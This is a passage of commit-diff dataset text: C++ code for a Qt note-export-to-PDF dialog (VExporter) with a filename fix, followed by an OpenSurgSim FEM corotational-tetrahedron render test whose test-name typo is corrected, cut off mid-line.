       }\n\n            if (m_state == ExportState::Cancelled) {\n                goto exit;\n            }\n\n            if (isNoteStateFailed()) {\n                m_state = ExportState::Failed;\n                goto exit;\n            }\n        }\n\n        \/\/ Wait to ensure Web side is really ready.\n        VUtils::sleepWait(200);\n\n        if (m_state == ExportState::Cancelled) {\n            goto exit;\n        }\n\n        m_proBar->setValue(80);\n\n        bool exportRet = exportToPDF(m_webViewer, getFilePath(), m_pageLayout);\n\n        clearNoteState();\n\n        if (!isOpened) {\n            m_file->close();\n        }\n\n        if (exportRet) {\n            m_proBar->setValue(100);\n            m_state = ExportState::Successful;\n            exportedNum++;\n        } else {\n            m_proBar->setEnabled(false);\n            m_state = ExportState::Failed;\n        }\n    }\n\nexit:\n    clearWebViewer();\n\n    m_proLabel->setText(\"\");\n    m_proLabel->hide();\n    enableUserInput(true);\n\n    if (m_state == ExportState::Cancelled) {\n        reject();\n    }\n\n    if (exportedNum) {\n        m_exported = true;\n        m_openBtn->show();\n        cancelBtn->hide();\n    }\n\n    m_state = ExportState::Idle;\n}\n\nvoid VExporter::cancelExport()\n{\n    if (m_state == ExportState::Idle) {\n        reject();\n    } else {\n        m_state = ExportState::Cancelled;\n    }\n}\n\nbool VExporter::exportToPDF(VWebView *p_webViewer, const QString &p_filePath,\n                            const QPageLayout &p_layout)\n{\n    int pdfPrinted = 0;\n    p_webViewer->page()->printToPdf([&, this](const QByteArray &p_result) {\n        if (p_result.isEmpty() || this->m_state == ExportState::Cancelled) {\n            pdfPrinted = -1;\n            return;\n        }\n\n        V_ASSERT(!p_filePath.isEmpty());\n\n        QFile file(p_filePath);\n\n        if (!file.open(QFile::WriteOnly)) {\n            pdfPrinted = -1;\n            return;\n        }\n\n        file.write(p_result.data(), p_result.size());\n        file.close();\n\n        pdfPrinted = 1;\n    }, p_layout);\n\n    while (pdfPrinted == 0) {\n        VUtils::sleepWait(100);\n\n        if (m_state == ExportState::Cancelled) {\n            break;\n        }\n    }\n\n    return pdfPrinted == 1;\n}\n\nvoid VExporter::enableUserInput(bool p_enabled)\n{\n    m_btnBox->button(QDialogButtonBox::Ok)->setEnabled(p_enabled);\n    m_pathEdit->setEnabled(p_enabled);\n    m_browseBtn->setEnabled(p_enabled);\n    m_layoutBtn->setEnabled(p_enabled);\n}\n\nvoid VExporter::openTargetPath() const\n{\n    QUrl url = QUrl::fromLocalFile(VUtils::basePathFromPath(getFilePath()));\n    QDesktopServices::openUrl(url);\n}\n<commit_msg>[fix] show the default filename in 'Export As' dialog (#35)<commit_after>#include \"vexporter.h\"\n\n#include <QtWidgets>\n#include <QFileInfo>\n#include <QDir>\n#include <QWebChannel>\n#include <QDebug>\n#include <QVBoxLayout>\n#include <QShowEvent>\n\n#ifndef QT_NO_PRINTER\n#include <QPrinter>\n#include <QPageSetupDialog>\n#endif\n\n#include \"vconfigmanager.h\"\n#include \"utils\/vutils.h\"\n#include \"vfile.h\"\n#include \"vwebview.h\"\n#include \"vpreviewpage.h\"\n#include \"vconstants.h\"\n#include \"vnote.h\"\n#include \"vmarkdownconverter.h\"\n#include \"vdocument.h\"\n\nextern VConfigManager vconfig;\n\nQString VExporter::s_defaultPathDir = QDir::homePath();\n\nVExporter::VExporter(MarkdownConverterType p_mdType, QWidget *p_parent)\n    : QDialog(p_parent), m_webViewer(NULL), m_mdType(p_mdType),\n      m_file(NULL), m_type(ExportType::PDF), m_source(ExportSource::Invalid),\n      m_noteState(NoteState::NotReady), m_state(ExportState::Idle),\n      m_pageLayout(QPageLayout(QPageSize(QPageSize::A4), QPageLayout::Portrait, QMarginsF(0.0, 0.0, 0.0, 0.0))),\n      m_exported(false)\n{\n    initMarkdownTemplate();\n\n    setupUI();\n}\n\nvoid VExporter::initMarkdownTemplate()\n{\n    m_htmlTemplate = VUtils::generateHtmlTemplate(m_mdType, true);\n}\n\nvoid VExporter::setupUI()\n{\n    m_infoLabel = new QLabel();\n    m_infoLabel->setWordWrap(true);\n\n    \/\/ Target file path.\n    QLabel *pathLabel = new QLabel(tr(\"Target &path:\"));\n    m_pathEdit = new QLineEdit();\n    pathLabel->setBuddy(m_pathEdit);\n    m_browseBtn = new QPushButton(tr(\"&Browse\"));\n    connect(m_browseBtn, &QPushButton::clicked,\n            this, &VExporter::handleBrowseBtnClicked);\n\n    \/\/ Page layout.\n    QLabel *layoutLabel = new QLabel(tr(\"Page layout:\"));\n    m_layoutLabel = new QLabel();\n    m_layoutBtn = new QPushButton(tr(\"&Settings\"));\n\n#ifndef QT_NO_PRINTER\n    connect(m_layoutBtn, &QPushButton::clicked,\n            this, &VExporter::handleLayoutBtnClicked);\n#else\n    m_layoutBtn->hide();\n#endif\n\n    \/\/ Progress.\n    m_proLabel = new QLabel(this);\n    m_proBar = new QProgressBar(this);\n\n    \/\/ Ok is the default button.\n    m_btnBox = new QDialogButtonBox(QDialogButtonBox::Ok | QDialogButtonBox::Cancel);\n    m_openBtn = m_btnBox->addButton(tr(\"Open File Location\"), QDialogButtonBox::ActionRole);\n    connect(m_btnBox, &QDialogButtonBox::accepted, this, &VExporter::startExport);\n    connect(m_btnBox, &QDialogButtonBox::rejected, this, &VExporter::cancelExport);\n    connect(m_openBtn, &QPushButton::clicked, this, &VExporter::openTargetPath);\n\n    QPushButton *okBtn = m_btnBox->button(QDialogButtonBox::Ok);\n    m_pathEdit->setMinimumWidth(okBtn->sizeHint().width() * 3);\n\n    QGridLayout *mainLayout = new QGridLayout();\n    mainLayout->addWidget(m_infoLabel, 0, 0, 1, 3);\n    mainLayout->addWidget(pathLabel, 1, 0);\n    mainLayout->addWidget(m_pathEdit, 1, 1);\n    mainLayout->addWidget(m_browseBtn, 1, 2);\n    mainLayout->addWidget(layoutLabel, 2, 0);\n    mainLayout->addWidget(m_layoutLabel, 2, 1);\n    mainLayout->addWidget(m_layoutBtn, 2, 2);\n    mainLayout->addWidget(m_proLabel, 3, 1, 1, 2);\n    mainLayout->addWidget(m_proBar, 4, 1, 1, 2);\n    mainLayout->addWidget(m_btnBox, 5, 1, 1, 2);\n\n    m_proLabel->hide();\n    m_proBar->hide();\n\n    setLayout(mainLayout);\n    mainLayout->setSizeConstraint(QLayout::SetFixedSize);\n    setWindowTitle(tr(\"Export Note\"));\n\n    m_openBtn->hide();\n\n    updatePageLayoutLabel();\n}\n\nstatic QString exportTypeStr(ExportType p_type)\n{\n    if (p_type == ExportType::PDF) {\n        return \"PDF\";\n    } else {\n        return \"HTML\";\n    }\n}\n\nvoid VExporter::handleBrowseBtnClicked()\n{\n    QFileInfo fi(getFilePath());\n    QString fileType = m_type == ExportType::PDF ?\n                       tr(\"Portable Document Format (*.pdf)\") :\n                       tr(\"WebPage, Complete (*.html)\");\n    QString path = QFileDialog::getSaveFileName(this, tr(\"Export As\"),\n                                                fi.absoluteFilePath(),\n                                                fileType);\n    if (path.isEmpty()) {\n        return;\n    }\n\n    setFilePath(path);\n    s_defaultPathDir = VUtils::basePathFromPath(path);\n\n    m_openBtn->hide();\n}\n\nvoid VExporter::handleLayoutBtnClicked()\n{\n#ifndef QT_NO_PRINTER\n    QPrinter printer;\n    printer.setPageLayout(m_pageLayout);\n\n    QPageSetupDialog dlg(&printer, this);\n    if (dlg.exec() != QDialog::Accepted) {\n        return;\n    }\n\n    m_pageLayout.setPageSize(printer.pageLayout().pageSize());\n    m_pageLayout.setOrientation(printer.pageLayout().orientation());\n\n    updatePageLayoutLabel();\n#endif\n}\n\nvoid VExporter::updatePageLayoutLabel()\n{\n    m_layoutLabel->setText(QString(\"%1, %2\").arg(m_pageLayout.pageSize().name())\n                                            .arg(m_pageLayout.orientation() == QPageLayout::Portrait ?\n                                                 tr(\"Portrait\") : tr(\"Landscape\")));\n}\n\nQString VExporter::getFilePath() const\n{\n    return QDir::cleanPath(m_pathEdit->text());\n}\n\nvoid VExporter::setFilePath(const QString &p_path)\n{\n    m_pathEdit->setText(QDir::toNativeSeparators(p_path));\n}\n\nvoid VExporter::exportNote(VFile *p_file, ExportType p_type)\n{\n    m_file = p_file;\n    m_type = p_type;\n    m_source = ExportSource::Note;\n\n    if (!m_file || m_file->getDocType() != DocType::Markdown) {\n        \/\/ Do not support non-Markdown note now.\n        m_btnBox->button(QDialogButtonBox::Ok)->setEnabled(false);\n        return;\n    }\n\n    m_infoLabel->setText(tr(\"Export note <span style=\\\"%1\\\">%2<\/span> as %3.\")\n                            .arg(vconfig.c_dataTextStyle)\n                            .arg(m_file->getName())\n                            .arg(exportTypeStr(p_type)));\n\n    setWindowTitle(tr(\"Export As %1\").arg(exportTypeStr(p_type)));\n\n    setFilePath(QDir(s_defaultPathDir).filePath(QFileInfo(p_file->retrivePath()).baseName() +\n                                                \".\" + exportTypeStr(p_type).toLower()));\n}\n\nvoid VExporter::initWebViewer(VFile *p_file)\n{\n    V_ASSERT(!m_webViewer);\n\n    m_webViewer = new VWebView(p_file, this);\n    m_webViewer->hide();\n    VPreviewPage *page = new VPreviewPage(m_webViewer);\n    m_webViewer->setPage(page);\n\n    connect(page, &VPreviewPage::loadFinished,\n            this, &VExporter::handleLoadFinished);\n\n    VDocument *document = new VDocument(p_file, m_webViewer);\n    connect(document, &VDocument::logicsFinished,\n            this, &VExporter::handleLogicsFinished);\n\n    QWebChannel *channel = new QWebChannel(m_webViewer);\n    channel->registerObject(QStringLiteral(\"content\"), document);\n    page->setWebChannel(channel);\n\n    \/\/ Need to generate HTML using Hoedown.\n    if (m_mdType == MarkdownConverterType::Hoedown) {\n        VMarkdownConverter mdConverter;\n        QString toc;\n        QString html = mdConverter.generateHtml(p_file->getContent(),\n                                                vconfig.getMarkdownExtensions(),\n                                                toc);\n        document->setHtml(html);\n    }\n\n    m_webViewer->setHtml(m_htmlTemplate, p_file->getBaseUrl());\n}\n\nvoid VExporter::clearWebViewer()\n{\n    if (m_webViewer) {\n        delete m_webViewer;\n        m_webViewer = NULL;\n    }\n}\n\nvoid VExporter::handleLogicsFinished()\n{\n    Q_ASSERT(!(m_noteState & NoteState::WebLogicsReady));\n    m_noteState = NoteState(m_noteState | NoteState::WebLogicsReady);\n}\n\nvoid VExporter::handleLoadFinished(bool p_ok)\n{\n    Q_ASSERT(!(m_noteState & NoteState::WebLoadFinished));\n    m_noteState = NoteState(m_noteState | NoteState::WebLoadFinished);\n\n    if (!p_ok) {\n        m_noteState = NoteState(m_noteState | NoteState::Failed);\n    }\n}\n\nvoid VExporter::clearNoteState()\n{\n    m_noteState = NoteState::NotReady;\n}\n\nbool VExporter::isNoteStateReady() const\n{\n    return m_noteState == NoteState::Ready;\n}\n\nbool VExporter::isNoteStateFailed() const\n{\n    return m_noteState & NoteState::Failed;\n}\n\nvoid VExporter::startExport()\n{\n    QPushButton *cancelBtn = m_btnBox->button(QDialogButtonBox::Cancel);\n\n    if (m_exported) {\n        cancelBtn->show();\n        m_exported = false;\n        accept();\n    }\n\n    int exportedNum = 0;\n    enableUserInput(false);\n    V_ASSERT(m_state == ExportState::Idle);\n    m_state = ExportState::Busy;\n\n    m_openBtn->hide();\n\n    if (m_source == ExportSource::Note) {\n        V_ASSERT(m_file);\n        bool isOpened = m_file->isOpened();\n        if (!isOpened && !m_file->open()) {\n            goto exit;\n        }\n\n        clearNoteState();\n        initWebViewer(m_file);\n\n        \/\/ Update progress info.\n        m_proLabel->setText(tr(\"Exporting %1\").arg(m_file->getName()));\n        m_proBar->setEnabled(true);\n        m_proBar->setMinimum(0);\n        m_proBar->setMaximum(100);\n        m_proBar->reset();\n        m_proLabel->show();\n        m_proBar->show();\n\n        while (!isNoteStateReady()) {\n            VUtils::sleepWait(100);\n            if (m_proBar->value() < 70) {\n                m_proBar->setValue(m_proBar->value() + 1);\n            }\n\n            if (m_state == ExportState::Cancelled) {\n                goto exit;\n            }\n\n            if (isNoteStateFailed()) {\n                m_state = ExportState::Failed;\n                goto exit;\n            }\n        }\n\n        \/\/ Wait to ensure Web side is really ready.\n        VUtils::sleepWait(200);\n\n        if (m_state == ExportState::Cancelled) {\n            goto exit;\n        }\n\n        m_proBar->setValue(80);\n\n        bool exportRet = exportToPDF(m_webViewer, getFilePath(), m_pageLayout);\n\n        clearNoteState();\n\n        if (!isOpened) {\n            m_file->close();\n        }\n\n        if (exportRet) {\n            m_proBar->setValue(100);\n            m_state = ExportState::Successful;\n            exportedNum++;\n        } else {\n            m_proBar->setEnabled(false);\n            m_state = ExportState::Failed;\n        }\n    }\n\nexit:\n    clearWebViewer();\n\n    m_proLabel->setText(\"\");\n    m_proLabel->hide();\n    enableUserInput(true);\n\n    if (m_state == ExportState::Cancelled) {\n        reject();\n    }\n\n    if (exportedNum) {\n        m_exported = true;\n        m_openBtn->show();\n        cancelBtn->hide();\n    }\n\n    m_state = ExportState::Idle;\n}\n\nvoid VExporter::cancelExport()\n{\n    if (m_state == ExportState::Idle) {\n        reject();\n    } else {\n        m_state = ExportState::Cancelled;\n    }\n}\n\nbool VExporter::exportToPDF(VWebView *p_webViewer, const QString &p_filePath,\n                            const QPageLayout &p_layout)\n{\n    int pdfPrinted = 0;\n    p_webViewer->page()->printToPdf([&, this](const QByteArray &p_result) {\n        if (p_result.isEmpty() || this->m_state == ExportState::Cancelled) {\n            pdfPrinted = -1;\n            return;\n        }\n\n        V_ASSERT(!p_filePath.isEmpty());\n\n        QFile file(p_filePath);\n\n        if (!file.open(QFile::WriteOnly)) {\n            pdfPrinted = -1;\n            return;\n        }\n\n        file.write(p_result.data(), p_result.size());\n        file.close();\n\n        pdfPrinted = 1;\n    }, p_layout);\n\n    while (pdfPrinted == 0) {\n        VUtils::sleepWait(100);\n\n        if (m_state == ExportState::Cancelled) {\n            break;\n        }\n    }\n\n    return pdfPrinted == 1;\n}\n\nvoid VExporter::enableUserInput(bool p_enabled)\n{\n    m_btnBox->button(QDialogButtonBox::Ok)->setEnabled(p_enabled);\n    m_pathEdit->setEnabled(p_enabled);\n    m_browseBtn->setEnabled(p_enabled);\n    m_layoutBtn->setEnabled(p_enabled);\n}\n\nvoid VExporter::openTargetPath() const\n{\n    QUrl url = QUrl::fromLocalFile(VUtils::basePathFromPath(getFilePath()));\n    QDesktopServices::openUrl(url);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\/\\file RenderTestFem3DCorotational.cpp render test for Fem3D with corotational elements\n\n#include <memory>\n\n#include \"SurgSim\/Blocks\/TransferPhysicsToPointCloudBehavior.h\"\n#include \"SurgSim\/Framework\/BasicSceneElement.h\"\n#include \"SurgSim\/Graphics\/OsgPointCloudRepresentation.h\"\n#include \"SurgSim\/Math\/OdeState.h\"\n#include \"SurgSim\/Math\/Quaternion.h\"\n#include \"SurgSim\/Math\/RigidTransform.h\"\n#include \"SurgSim\/Math\/Vector.h\"\n#include \"SurgSim\/Physics\/Fem3DRepresentation.h\"\n#include \"SurgSim\/Physics\/Fem3DElementCorotationalTetrahedron.h\"\n#include \"SurgSim\/Physics\/RenderTests\/RenderTest.h\"\n\nusing SurgSim::Blocks::TransferPhysicsToPointCloudBehavior;\nusing SurgSim::Framework::BasicSceneElement;\nusing SurgSim::Graphics::OsgPointCloudRepresentation;\nusing SurgSim::Physics::Fem3DRepresentation;\nusing SurgSim::Physics::FemElement;\nusing SurgSim::Physics::Fem3DElementCorotationalTetrahedron;\nusing SurgSim::Math::Vector3d;\n\nnamespace\n{\n\nstd::shared_ptr<SurgSim::Framework::SceneElement> createTetrahedronFem3D(const std::string& name,\n\t\tconst SurgSim::Math::RigidTransform3d& pose, SurgSim::Math::Vector4d color,\n\t\tSurgSim::Math::IntegrationScheme integrationScheme)\n{\n\t\/\/ Physics Representation\n\tstd::shared_ptr<Fem3DRepresentation> physicsRepresentation;\n\tphysicsRepresentation = std::make_shared<Fem3DRepresentation>(name + \" Physics\");\n\tphysicsRepresentation->setIntegrationScheme(integrationScheme);\n\tphysicsRepresentation->setRayleighDampingMass(1e-2);\n\tphysicsRepresentation->setRayleighDampingStiffness(1e-3);\n\n\tstd::array<Vector3d, 8> vertices = {{\n\t\t\tVector3d(-0.5, -0.5, -0.5),\n\t\t\tVector3d(0.5, -0.5, -0.5),\n\t\t\tVector3d(-0.5,  0.5, -0.5),\n\t\t\tVector3d(0.5,  0.5, -0.5),\n\t\t\tVector3d(-0.5, -0.5,  0.5),\n\t\t\tVector3d(0.5, -0.5,  0.5),\n\t\t\tVector3d(-0.5,  0.5,  0.5),\n\t\t\tVector3d(0.5,  0.5,  0.5)\n\t\t}\n\t};\n\n\t\/\/ Cube decomposition into 5 tetrahedrons\n\t\/\/ https:\/\/www.math.ucdavis.edu\/~deloera\/CURRENT_INTERESTS\/cube.html\n\tstd::array< std::array<size_t, 4>, 5> tetrahedrons = {{\n\t\t\t{{4, 7, 1, 2}}, \/\/ CCW (47)cross(41) . (42) > 0\n\t\t\t{{4, 1, 7, 5}}, \/\/ CCW (41)cross(47) . (45) > 0\n\t\t\t{{4, 2, 1, 0}}, \/\/ CCW (42)cross(41) . (40) > 0\n\t\t\t{{4, 7, 2, 6}}, \/\/ CCW (47)cross(42) . (46) > 0\n\t\t\t{{1, 2, 7, 3}}  \/\/ CCW (12)cross(17) . (13) > 0\n\t\t}\n\t};\n\n\tstd::array<size_t, 2> boundaryConditionsNodeIdx = {{0, 1}};\n\n\tstd::shared_ptr<SurgSim::Math::OdeState> initialState = std::make_shared<SurgSim::Math::OdeState>();\n\tinitialState->setNumDof(physicsRepresentation->getNumDofPerNode(), 8);\n\n\tfor (size_t i = 0; i != vertices.size(); i++)\n\t{\n\t\tinitialState->getPositions().segment(i * 3, 3) = vertices[i];\n\t}\n\n\tfor (auto index = boundaryConditionsNodeIdx.cbegin(); index != boundaryConditionsNodeIdx.cend(); ++index)\n\t{\n\t\tinitialState->addBoundaryCondition(*index);\n\t}\n\tphysicsRepresentation->setInitialState(initialState);\n\n\tfor (auto tetrahedron = tetrahedrons.cbegin(); tetrahedron != tetrahedrons.cend(); ++tetrahedron)\n\t{\n\t\tstd::shared_ptr<FemElement> element = std::make_shared<Fem3DElementCorotationalTetrahedron>(*tetrahedron);\n\t\telement->setMassDensity(8000.0);\n\t\telement->setPoissonRatio(0.45);\n\t\telement->setYoungModulus(1.0e6);\n\t\tphysicsRepresentation->addFemElement(element);\n\t}\n\n\t\/\/ Graphics Representation\n\tstd::shared_ptr<OsgPointCloudRepresentation> graphicsRepresentation;\n\tgraphicsRepresentation = std::make_shared<OsgPointCloudRepresentation>(name + \" Graphics object \");\n\tgraphicsRepresentation->setLocalPose(pose);\n\tgraphicsRepresentation->setColor(color);\n\tgraphicsRepresentation->setPointSize(3.0f);\n\tgraphicsRepresentation->setLocalActive(true);\n\n\t\/\/ Scene Element\n\tstd::shared_ptr<BasicSceneElement> femSceneElement = std::make_shared<BasicSceneElement>(name);\n\tfemSceneElement->addComponent(physicsRepresentation);\n\tfemSceneElement->addComponent(graphicsRepresentation);\n\n\tauto physicsToGraphics =\n\t\tstd::make_shared<TransferPhysicsToPointCloudBehavior>(\"Physics to Graphics deformable points\");\n\tphysicsToGraphics->setSource(physicsRepresentation);\n\tphysicsToGraphics->setTarget(graphicsRepresentation);\n\tfemSceneElement->addComponent(physicsToGraphics);\n\n\treturn femSceneElement;\n}\n\n}; \/\/ anonymous namespace\n\nnamespace SurgSim\n{\n\nnamespace Physics\n{\n\nTEST_F(RenderTests, VisualTestFem3DCorotatioal)\n{\n\tusing SurgSim::Math::makeRigidTranslation;\n\n\t\/\/ Cube with corotational tetrahedron FemElement\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotationalTetrahedronElement Euler Explicit\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(-4.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(1, 0, 0, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_EXPLICIT_EULER));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Modified Euler Explicit\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(-2.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(0.5, 0, 0, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_MODIFIED_EXPLICIT_EULER));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Runge Kutta 4\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(0.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(0, 1, 0, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_RUNGE_KUTTA_4));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Fem 3D Euler Implicit\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(2.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(0, 0, 1, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_IMPLICIT_EULER));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Fem 3D Static\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(4.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(1, 1, 1, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_STATIC));\n\n\trunTest(Vector3d(0.0, 0.0, 7.0), Vector3d::Zero(), 5000.0);\n}\n\n}; \/\/ namespace Physics\n\n}; \/\/ namespace SurgSim\n<commit_msg>Fix typo in UnitTest name<commit_after>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/\/\\file RenderTestFem3DCorotational.cpp render test for Fem3D with corotational elements\n\n#include <memory>\n\n#include \"SurgSim\/Blocks\/TransferPhysicsToPointCloudBehavior.h\"\n#include \"SurgSim\/Framework\/BasicSceneElement.h\"\n#include \"SurgSim\/Graphics\/OsgPointCloudRepresentation.h\"\n#include \"SurgSim\/Math\/OdeState.h\"\n#include \"SurgSim\/Math\/Quaternion.h\"\n#include \"SurgSim\/Math\/RigidTransform.h\"\n#include \"SurgSim\/Math\/Vector.h\"\n#include \"SurgSim\/Physics\/Fem3DRepresentation.h\"\n#include \"SurgSim\/Physics\/Fem3DElementCorotationalTetrahedron.h\"\n#include \"SurgSim\/Physics\/RenderTests\/RenderTest.h\"\n\nusing SurgSim::Blocks::TransferPhysicsToPointCloudBehavior;\nusing SurgSim::Framework::BasicSceneElement;\nusing SurgSim::Graphics::OsgPointCloudRepresentation;\nusing SurgSim::Physics::Fem3DRepresentation;\nusing SurgSim::Physics::FemElement;\nusing SurgSim::Physics::Fem3DElementCorotationalTetrahedron;\nusing SurgSim::Math::Vector3d;\n\nnamespace\n{\n\nstd::shared_ptr<SurgSim::Framework::SceneElement> createTetrahedronFem3D(const std::string& name,\n\t\tconst SurgSim::Math::RigidTransform3d& pose, SurgSim::Math::Vector4d color,\n\t\tSurgSim::Math::IntegrationScheme integrationScheme)\n{\n\t\/\/ Physics Representation\n\tstd::shared_ptr<Fem3DRepresentation> physicsRepresentation;\n\tphysicsRepresentation = std::make_shared<Fem3DRepresentation>(name + \" Physics\");\n\tphysicsRepresentation->setIntegrationScheme(integrationScheme);\n\tphysicsRepresentation->setRayleighDampingMass(1e-2);\n\tphysicsRepresentation->setRayleighDampingStiffness(1e-3);\n\n\tstd::array<Vector3d, 8> vertices = {{\n\t\t\tVector3d(-0.5, -0.5, -0.5),\n\t\t\tVector3d(0.5, -0.5, -0.5),\n\t\t\tVector3d(-0.5,  0.5, -0.5),\n\t\t\tVector3d(0.5,  0.5, -0.5),\n\t\t\tVector3d(-0.5, -0.5,  0.5),\n\t\t\tVector3d(0.5, -0.5,  0.5),\n\t\t\tVector3d(-0.5,  0.5,  0.5),\n\t\t\tVector3d(0.5,  0.5,  0.5)\n\t\t}\n\t};\n\n\t\/\/ Cube decomposition into 5 tetrahedrons\n\t\/\/ https:\/\/www.math.ucdavis.edu\/~deloera\/CURRENT_INTERESTS\/cube.html\n\tstd::array< std::array<size_t, 4>, 5> tetrahedrons = {{\n\t\t\t{{4, 7, 1, 2}}, \/\/ CCW (47)cross(41) . (42) > 0\n\t\t\t{{4, 1, 7, 5}}, \/\/ CCW (41)cross(47) . (45) > 0\n\t\t\t{{4, 2, 1, 0}}, \/\/ CCW (42)cross(41) . (40) > 0\n\t\t\t{{4, 7, 2, 6}}, \/\/ CCW (47)cross(42) . (46) > 0\n\t\t\t{{1, 2, 7, 3}}  \/\/ CCW (12)cross(17) . (13) > 0\n\t\t}\n\t};\n\n\tstd::array<size_t, 2> boundaryConditionsNodeIdx = {{0, 1}};\n\n\tstd::shared_ptr<SurgSim::Math::OdeState> initialState = std::make_shared<SurgSim::Math::OdeState>();\n\tinitialState->setNumDof(physicsRepresentation->getNumDofPerNode(), 8);\n\n\tfor (size_t i = 0; i != vertices.size(); i++)\n\t{\n\t\tinitialState->getPositions().segment(i * 3, 3) = vertices[i];\n\t}\n\n\tfor (auto index = boundaryConditionsNodeIdx.cbegin(); index != boundaryConditionsNodeIdx.cend(); ++index)\n\t{\n\t\tinitialState->addBoundaryCondition(*index);\n\t}\n\tphysicsRepresentation->setInitialState(initialState);\n\n\tfor (auto tetrahedron = tetrahedrons.cbegin(); tetrahedron != tetrahedrons.cend(); ++tetrahedron)\n\t{\n\t\tstd::shared_ptr<FemElement> element = std::make_shared<Fem3DElementCorotationalTetrahedron>(*tetrahedron);\n\t\telement->setMassDensity(8000.0);\n\t\telement->setPoissonRatio(0.45);\n\t\telement->setYoungModulus(1.0e6);\n\t\tphysicsRepresentation->addFemElement(element);\n\t}\n\n\t\/\/ Graphics Representation\n\tstd::shared_ptr<OsgPointCloudRepresentation> graphicsRepresentation;\n\tgraphicsRepresentation = std::make_shared<OsgPointCloudRepresentation>(name + \" Graphics object \");\n\tgraphicsRepresentation->setLocalPose(pose);\n\tgraphicsRepresentation->setColor(color);\n\tgraphicsRepresentation->setPointSize(3.0f);\n\tgraphicsRepresentation->setLocalActive(true);\n\n\t\/\/ Scene Element\n\tstd::shared_ptr<BasicSceneElement> femSceneElement = std::make_shared<BasicSceneElement>(name);\n\tfemSceneElement->addComponent(physicsRepresentation);\n\tfemSceneElement->addComponent(graphicsRepresentation);\n\n\tauto physicsToGraphics =\n\t\tstd::make_shared<TransferPhysicsToPointCloudBehavior>(\"Physics to Graphics deformable points\");\n\tphysicsToGraphics->setSource(physicsRepresentation);\n\tphysicsToGraphics->setTarget(graphicsRepresentation);\n\tfemSceneElement->addComponent(physicsToGraphics);\n\n\treturn femSceneElement;\n}\n\n}; \/\/ anonymous namespace\n\nnamespace SurgSim\n{\n\nnamespace Physics\n{\n\nTEST_F(RenderTests, VisualTestFem3DCorotational)\n{\n\tusing SurgSim::Math::makeRigidTranslation;\n\n\t\/\/ Cube with corotational tetrahedron FemElement\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotationalTetrahedronElement Euler Explicit\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(-4.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(1, 0, 0, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_EXPLICIT_EULER));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Modified Euler Explicit\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(-2.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(0.5, 0, 0, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_MODIFIED_EXPLICIT_EULER));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Runge Kutta 4\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(0.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(0, 1, 0, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_RUNGE_KUTTA_4));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Fem 3D Euler Implicit\",\n\t\t\t\t\t\t   makeRigidTranslation(Vector3d(2.0, 1.0, -1.0)),\n\t\t\t\t\t\t   SurgSim::Math::Vector4d(0, 0, 1, 1),\n\t\t\t\t\t\t   SurgSim::Math::INTEGRATIONSCHEME_IMPLICIT_EULER));\n\n\tscene->addSceneElement(createTetrahedronFem3D(\"CorotatinoalTetrahedronElement Fem 3D 